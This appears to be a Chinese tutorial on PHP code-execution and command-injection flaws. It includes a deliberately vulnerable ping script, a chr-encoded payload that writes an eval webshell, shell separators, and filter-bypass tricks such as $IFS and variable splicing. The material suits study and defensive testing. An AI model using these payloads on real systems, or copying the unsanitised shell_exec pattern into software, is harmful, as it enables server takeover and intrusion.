命令执行
远程命令执行
- 与前面的漏洞有些类似,PHP下允许远程命令执行的函数有eval(),assert(),preg_replace(),call_user_func(),如果页面中存在上述函数并且可以被用户控制,同时没有对参数做有效的过滤,那么就可能存在远程命令执行漏洞
- eval和assert可以把传进来的字符串当做PHP代码来执行,但是eval参数必须是合法的PHP代码,所以后面必须要加;,而assert则没有那么严格
preg_replace ( string|array $pattern , string|array $replacement , string|array $subject , int $limit = -1 , int &$count = null ) : string|array|null
,含义是搜索subject中的pattern部分用replacement来代替,当$pattern部分存在/e修饰符的时候$replacement的值会被当成PHP来执行,此只适用于5.4以下版本- 其他类似array_map(),call_user_func(),ob_start(),usort()等等函数,都可以利用
PHP的语言特性可以让当前的PHP函数可直接由字符串拼接而成
<?php $a=$_GET['a']; $b=$_GET['b']; echo $a($b); ?>
提交?a=assert&b=phpinfo()也可以执行
利用漏洞来获取webshell
如果存在远程命令执行漏洞,则我们可以利用这个来获取webshellfputs(fopen("a.php","w"),'<?php eval($_POST["cmd"])?>')
当然,如果直接这么提交可能会因为被各种编码过滤而废掉,可以考虑利用chr字符对所有字符进行ASCII编码
eval(cHR(102).CHR(112).CHR(117).....)
这里需要注意引号的问题,单引号当中的变量会被当做字符串不执行直接被系统输出,而双引号中的字段会结果编译器解释后执行,上面fputs第二个值需要被当做字符串直接被输出,如果使用双引号的话会导致错误
系统命令执行
利用PHP的系统命令执行函数来调用系统命令并执行,这类函数有:system,exec,shell_exec,pcntl_exec,popem,proc_open
<?php
if(isset($_POST['submit'])
{
$target = $_REQUEST['ip'];
if(stristr(php_uname('s'),'Windows NT'))
{
$cmd=shell_exec('ping'.$target);
echo '<pre>'.$cmd.'</pre>';
}
else
{
$cmd=shell_exec('ping -c 3'.$target);
echo '<pre>'.$cmd.'</pre>';
}
})
?>
如上我们可以看到,ip这个参数在没有做任何过滤之后便跟Ping连接,我们可以使用&&||\;\&|在其后作为分隔,然后输入其他的命令,如127.0.0.1&&ll -a
windows:&&||\%0a
linux:&&||\;$()\ \`\`\%0a\%0d
注释符:
windows::linux#
常用命令:
windows:
cd 切换目录
dir 显示目录中的内容
type 查看文本文件内容
more 逐屏显示文本文件内容
whoami
linux:
pwd 显示路径
ls -a 列出目录中全部内容
cat
tac
tail
more
less
绕过方式:
空格过滤:将命令中的空格过滤掉,使得命令失效。但是在命令中间隔的字符可以不只是空格,例如%20等,另外可以利用bp对%00-%ff之间进行爆破看看哪些有用
windows:
另外可以通过字符串截取的方式来获得空格,例如%ProgramFiles:~10,1%
,这条命令代表取%ProgramFiles%的值,一般为C:\Program Files,其第十个字符为空格
Linux:$IFS$9${IFS}\{cmd,args}
读取文件cat<>flag
黑名单
利用变量拼接``a=c;b=at;c=he;d=llo;$a$b $c$d
使用通配符
使用substr()借用别的文件的字符串
评论已关闭